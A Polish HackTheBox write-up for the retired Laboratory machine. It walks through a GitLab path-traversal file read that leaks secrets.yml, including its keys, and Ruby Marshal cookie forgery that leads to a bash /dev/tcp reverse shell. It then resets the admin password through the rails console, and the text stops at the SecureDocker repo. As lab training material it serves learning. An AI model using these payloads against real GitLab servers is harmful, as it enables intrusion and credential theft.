Writeup: Maszyna HackTheBox Laboratory
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Laboratory - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotowałem przydatne zmienne:
export IP=10.10.10.216
3. Skanowanie i rozpoznanie
Na początku użyłem narzędzia nmap do identyfikacji otwartych portów:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 15:25 CET
Nmap scan report for 10.10.10.216
Host is up (0.043s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds
Skanowanie narzędziem nmap ujawniło uruchomioną usługę http na portach 80 oraz 443 oraz ssh.
Dodałem również od razu wpis do /etc/hosts
:
10.10.10.216 laboratory.htb
Usługa na porcie 80 przekierowywała przeglądarkę na port 443. Spróbowałem użyć przeglądarki i przetestować serwer HTTP. Na maszynie była hostowana strona przedsiębiorstwa działającego w branży fitness:
Szybki przegląd źródła strony w celu ujawnienia pozostawionych przydatnych komentarzy był bezskuteczny. Uruchomiłem więc narzędzie gobuster:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $gobuster dir -u https://laboratory.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://laboratory.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/02 15:51:19 Starting gobuster
===============================================================
Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb
Wystąpił błąd spowodowany niepoprawnym certyfikatem, który był ważny dla git.laboratory.htb. Poprawiłem więc wpis w /etc/hosts
:
10.10.10.216 laboratory.htb git.laboratory.htb
Następnie odwiedziłem stronę https://git.laboratory.htb
Na serwerze istniała zatem instancja Gitlaba. Zarejestrowałem więc konto:
Łudziłem się, że znajdę repozytorium projektu strony laboratorium. Niestety, nic z tych rzeczy, na portalu nie było ani jednego projektu.
Disclaimer: W późniejszym etapie okazało się, że po prostu nie zauważyłem projektu laboratorium, jednak nie miało to żadnego wpływu na rozwiązanie.
Sprawdziłem zatem wersję Gitlaba:
4. Uzyskanie dostępu
Przeszukałem bazę exploit-db w celu identyfikacji możliwych podatności w GitLabie:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $searchsploit gitlab | grep 12
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
W zbliżonej wersji istniała podatność Arbitary File Read, którą postanowiłem spróbować wykorzystać.
Exploit okazał się być kodem Pythona. Niestety, miałem problem z jego wykorzystaniem ze względu na niepoprawną obsługę uwierzytelniania. Postanowiłem zatem przeanalizować kod exploita i wykorzystać podatność ręcznie.
W skrócie: wykorzystanie podatności polega na przeniesieniu pomiędzy projektami ‘issue’, której opis zawiera ciąg odwołujący sie do pliku. Przykładem takiego opisu jest:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Zachowując nazwy użyte w eksploicie założyłem dwa projekty: project_01
oraz project_02
.
Następnie w project_01
utworzyłem ‘issue’:
Zapisałem ją, otworzyłem i przeniosłem do projektu project_02
:
Po przeniesieniu, w opisie issue pojawił się link do pobrania pliku /etc/passwd
:
Pobrałem zatem plik i podejrzałem jego zawartość:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
W ten sposób ujawniłem ścieżkę do katalogu instalacyjnego Gitlaba na serwerze:
/var/opt/gitlab
Następnie przejrzałem dokumentację GitLaba dotyczącą konfiguracji. Tam znalazłem interesującą mnie stronę z informacjami odnoszącymi się do przechowywanych sekretów i kluczy.
Pobrałem plik z chronionymi danymi ponawiając kroki prowadzące do wykorzystania podatności i odwołując się do ścieżki /var/opt/gitlab/gitlab-rails/etc/secrets.yml
. W treści opisu nowego issue podałem:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../
../../../var/opt/gitlab/gitlab-rails/etc/secrets.yml)
Zawartość pobranego pliku secrets.yml
:
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu
YxMJm2+5ZDzaDu5T4xLbcM0BshgOM8N3gMcogz0KUmMD3OGLt90vNBq8Wo/9cSyV
RnBSnbCl0EzpFeeMBymR8aBm8sRpy7+n9VRawmjX9os25CmBBJB93NnZj8QFJxPt
u00f71w1pOL+CIEPAgSSZazwI5kfeU9wCvy0Q650ml6nC7lAbiinqQnocvCGbV0O
aDFmO98dwdJ3wnMTkPAwvJcESa7iRFMSuelgst4xt4a1js1esTvvVHO/fQfHdYo3
5Y8r9yYeCarBYkFiqPMec8lhrfmviwcTMyK/TBRAkj9wKKXZmm8xyNcEzP5psRAM
e4RO91xrgQx7ETcBuJm3xnfGxPWvqXjvbl72UNvU9ZXuw6zGaS7fxqf8Oi9u8R4r
T/5ABWZ1CSucfIySfJJzCK/pUJzRNnjsEgTc0HHmyn0wwSuDp3w8EjLJIl4vWg1Z
vSCEPzBJXnNqJvIGuWu3kHXONnTq/fHOjgs3cfo0i/eS/9PUMz4R3JO+kccIz4Zx
NFvKwlJZH/4ldRNyvI32yqhfMUUKVsNGm+7CnJNHm8wG3CMS5Z5+ajIksgEZBW8S
JosryuUVF3pShOIM+80p5JHdLhJOzsWMwap57AWyBia6erE40DS0e0BrpdsCAwEA
AQKCAgB5Cxg6BR9/Muq+zoVJsMS3P7/KZ6SiVOo7NpI43muKEvya/tYEvcix6bnX
YZWPnXfskMhvtTEWj0DFCMkw8Tdx7laOMDWVLBKEp54aF6Rk0hyzT4NaGoy/RQUd
b/dVTo2AJPJHTjvudSIBYliEsbavekoDBL9ylrzgK5FR2EMbogWQHy4Nmc4zIzyJ
HlKRMa09ximtgpA+ZwaPcAm+5uyJfcXdBgenXs7I/t9tyf6rBr4/F6dOYgbX3Uik
kr4rvjg218kTp2HvlY3P15/roac6Q/tQRQ3GnM9nQm9y5SgOBpX8kcDv0IzWa+gt
+aAMXsrW3IXbhlQafjH4hTAWOme/3gz87piKeSH61BVyW1sFUcuryKqoWPjjqhvA
hsNiM9AOXumQNNQvVVijJOQuftsSRCLkiik5rC3rv9XvhpJVQoi95ouoBU7aLfI8
MIkuT+VrXbE7YYEmIaCxoI4+oFx8TPbTTDfbwgW9uETse8S/lOnDwUvb+xenEOku
r68Bc5Sz21kVb9zGQVD4SrES1+UPCY0zxAwXRur6RfH6np/9gOj7ATUKpNk/583k
Mc3Gefh+wyhmalDDfaTVJ59A7uQFS8FYoXAmGy/jPY/uhGr8BinthxX6UcaWyydX
sg2l6K26XD6pAObLVYsXbQGpJa2gKtIhcbMaUHdi2xekLORygQKCAQEA+5XMR3nk
psDUlINOXRbd4nKCTMUeG00BPQJ80xfuQrAmdXgTnhfe0PlhCb88jt8ut+sx3N0a
0ZHaktzuYZcHeDiulqp4If3OD/JKIfOH88iGJFAnjYCbjqbRP5+StBybdB98pN3W
Lo4msLsyn2/kIZKCinSFAydcyIH7l+FmPA0dTocnX7nqQHJ3C9GvEaECZdjrc7KT
fbC7TSFwOQbKwwr0PFAbOBh83MId0O2DNu5mTHMeZdz2JXSELEcm1ywXRSrBA9+q
wjGP2QpuXxEUBWLbjsXeG5kesbYT0xcZ9RbZRLQOz/JixW6P4/lg8XD/SxVhH5T+
k9WFppd3NBWa4QKCAQEA6LeQWE+XXnbYUdwdveTG99LFOBvbUwEwa9jTjaiQrcYf
Uspt0zNCehcCFj5TTENZWi5HtT9j8QoxiwnNTcbfdQ2a2YEAW4G8jNA5yNWWIhzK
wkyOe22+Uctenc6yA9Z5+TlNJL9w4tIqzBqWvV00L+D1e6pUAYa7DGRE3x+WSIz1
UHoEjo6XeHr+s36936c947YWYyNH3o7NPPigTwIGNy3f8BoDltU8DH45jCHJVF57
/NKluuuU5ZJ3SinzQNpJfsZlh4nYEIV5ZMZOIReZbaq2GSGoVwEBxabR/KiqAwCX
wBZDWKw4dJR0nEeQb2qCxW30IiPnwVNiRcQZ2KN0OwKCAQAHBmnL3SV7WosVEo2P
n+HWPuhQiHiMvpu4PmeJ5XMrvYt1YEL7+SKppy0EfqiMPMMrM5AS4MGs9GusCitF
4le9DagiYOQ13sZwP42+YPR85C6KuQpBs0OkuhfBtQz9pobYuUBbwi4G4sVFzhRd
y1wNa+/lOde0/NZkauzBkvOt3Zfh53g7/g8Cea/FTreawGo2udXpRyVDLzorrzFZ
Bk2HILktLfd0m4pxB6KZgOhXElUc8WH56i+dYCGIsvvsqjiEH+t/1jEIdyXTI61t
TibG97m1xOSs1Ju8zp7DGDQLWfX7KyP2vofvh2TRMtd4JnWafSBXJ2vsaNvwiO41
MB1BAoIBAQCTMWfPM6heS3VPcZYuQcHHhjzP3G7A9YOW8zH76553C1VMnFUSvN1T
M7JSN2GgXwjpDVS1wz6HexcTBkQg6aT0+IH1CK8dMdX8isfBy7aGJQfqFVoZn7Q9
MBDMZ6wY2VOU2zV8BMp17NC9ACRP6d/UWMlsSrOPs5QjplgZeHUptl6DZGn1cSNF
RSZMieG20KVInidS1UHj9xbBddCPqIwd4po913ZltMGidUQY6lXZU1nA88t3iwJG
onlpI1eEsYzC7uHQ9NMAwCukHfnU3IRi5RMAmlVLkot4ZKd004mVFI7nJC28rFGZ
Cz0mi+1DS28jSQSdg3BWy1LhJcPjTp95AoIBAQDpGZ6iLm8lbAR+O8IB2om4CLnV
oBiqY1buWZl2H03dTgyyMAaePL8R0MHZ90GxWWu38aPvfVEk24OEPbLCE4DxlVUr
0VyaudN5R6gsRigArHb9iCpOjF3qPW7FaKSpevoCpRLVcAwh3EILOggdGenXTP1k
huZSO2K3uFescY74aMcP0qHlLn6sxVFKoNotuPvq5tIvIWlgpHJIysR9bMkOpbhx
UR3u0Ca0Ccm0n2AK+92GBF/4Z2rZ6MgedYsQrB6Vn8sdFDyWwMYjQ8dlrow/XO22
z/ulFMTrMITYU5lGDnJ/eyiySKslIiqgVEgQaFt9b0U3Nt0XZeCobSH1ltgN
-----END RSA PRIVATE KEY----
Mając teoretycznie potężne narzędzie w ręce, przeszukiwałem dalej dokumentację GitLaba w celu znalezienia możliwości wykorzystania ukrywanych parametrów. Wreszcie znalazłem w sieci, na stronie projektu hackerone zgłoszenie tego błędu… W wątku znajdował się również wpis opisujący możliwe wykorzystanie błędu jako RCE.
Dodałem wpis do /etc/hosts
:
127.0.0.1 gitlab.whitehatlab.com
Pobrałem docker image i uruchomiłem go:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $export GITLAB_HOME=/srv/gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker run --detach \
--hostname gitlab.whitehatlab.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:12.8.1-ce.0
Następnie wszedłem na uruchomiony kontener:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1ed4b0925fc6 gitlab/gitlab-ce:12.8.1-ce.0 "/assets/wrapper" 4 minutes ago Up 4 minutes (healthy) 0.0.0.0:80->80/tcp, 22/tcp, 0.0.0.0:443->443/tcp gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker exec -it 1ed4b0925fc6 /bin/bash
W domyślnym pliku secrets.yml znalazłem wskazówkę jak prawidłowo zmienić jego zwartość:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 3 secrets.yml
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
Zatem w pierwszej pliku /etc/gitlab/gitlab.rb
dopisałem secret_key_base:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 1 /etc/gitlab/gitlab.rb
gitlab_rails['secret_key_base'] = '3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3'
a następnie zgodnie z instrukcją uruchomiłem polecenie
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-ctl reconfigure
Po zakończeniu rekonfiguracji można było zaobserwować zmienioną wersję secret_key_base:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# grep secret_key_base secrets.yml
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
Uruchomiłem rails console:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-rails console
--------------------------------------------------------------------------------
Ruby: ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
GitLab: 13.6.1 (1b6a590b197) FOSS
GitLab Shell: 13.13.0
PostgreSQL: 11.9
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.3.3)
irb(main):001:0>
Następnie wykonałem skrypt, który prowadzi do zapisania polecenia setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1
zakodowanego w base64 do pliku /dev/shm/74wny0wl.sh
:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo 'setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' > /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
W trakcie wykonania skryptu pojawił się błąd:
sh: 1: Syntax error: Bad fd number
Naprawiłem go przez wykonanie instrukcji:
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# mv /bin/sh /bin/sh.orig
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# ln -s /bin/bash /bin/sh
Po ponownym wykonaniu skryptu zostało wypisane ciastko:
irb(main):007:0> puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA+IC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--e7741536e8a462197facb2766e5e887ebc5fbe22
W celu uniknięcia błędów parsowania ciasteczka, zakodowałem wartość korzystając z narzędzia CyberChef (URL Encode). W wyniku zakodowania otrzymałem ciąg:
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22
Następnie przesłałem żądanie, które zapisało plik /dev/shm/74wny0wl.sh:
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22"
Następnie przygotowałem skrypt, które wyprodukuje ciastko uruchamiające przesłany plik:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Wyprodukowane ciastko to:
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--08db0e7791087f8ede41d1558efbb024e0d93d9b
a po zakodowaniu w CyberChef (URL Encode):
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b
Uruchomiłem więc narzędzie netcat:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
i przesłałem żądanie:
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b"
W ten sposób nawiązana została sesja:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.216] 60894
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
git@git:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@git:~/gitlab-rails/working$
Disclaimer: Podzieliłem proces eksploitacji podatności na dwie części, ponieważ miałem problem z wykonaniem poprawnego połączenia z użyciem jednego ciastka. Zapisanie pliku na serwerze, pozwoliło mi na diagnostykę procesu z wykorzystaniem podatności Arbitrary File Read.
5. Eskalacja uprawnień: git ⇨ dexter
Wykonałem upgrade shella:
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
Pobrałem na serwer narzędzie linpeas.sh:
git@git:/dev/shm$ wget http://10.10.14.31:8000/linpeas.sh
i uruchomiłem je:
git@git:/dev/shm$ bash linpeas.sh
Na standardowym wyjściu pojawiła się informacja o tym, że jestem w kontenerze Dockera:
[+] Is this a container? ........... Looks like we're in a Docker container
oraz informacja o niestandardowym katalogu /assets
, w którym nie znalazłem interesujących artefaktów.
Co ciekawe, nie było również żadnego podkatalogu w katalogu /home
.
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root git 988 Jul 2 18:01 /var/opt/gitlab/gitlab-shell/config.yml
-rw-r----- 1 root git 525 Jul 2 18:01 /var/opt/gitlab/gitlab-rails/etc/database.yml
-rw-r----- 1 root git 22583 Jul 2 18:01 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
-rw-r----- 1 root git 781 Jul 2 18:01 /var/opt/gitlab/gitaly/config.toml
-rw-r----- 1 root git 70 Jul 2 18:02 /var/opt/gitlab/gitlab-workhorse/config.toml
Przeglądając dokumentację GitLaba znalazłem informacje o sposobach tuta oraz tutaj:
Uruchomiłem zatem rails console
:
git@git:/assets$ gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
i odpytałem o administratorów GitLaba:
irb(main):014:0> User.where(admin: true)
User.where(admin: true)
=> #<ActiveRecord::Relation [#<User id:1 @dexter>]>
Zatem administratorem GitLaba był użytkownik dexter. Metodę zresetowania hasła administratora znalazłem tutaj. Wykonałem zatem polecenia:
user = User.find_by_username('dexter')
=> #<User id:1 @dexter>
irb(main):021:0> user.password = 'secret_pass'
user.password = 'secret_pass'
=> "secret_pass"
irb(main):022:0> user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
=> "secret_pass"
irb(main):023:0> user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 7ca2489f-54a6-4886-93c8-152314c482c2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fad9482a7a0 @uri=#<URI::GID gid://gitlab/User/1>>
=> true
Spróbowałem więc zalogować się na GitLabie jako użytkownik dexter. Po poprawnym uwierzytelnieniu, otrzymałem dostęp do dwóch repozytoriów:
Moją uwagę od razu przykuło repozytorium SecureDocker
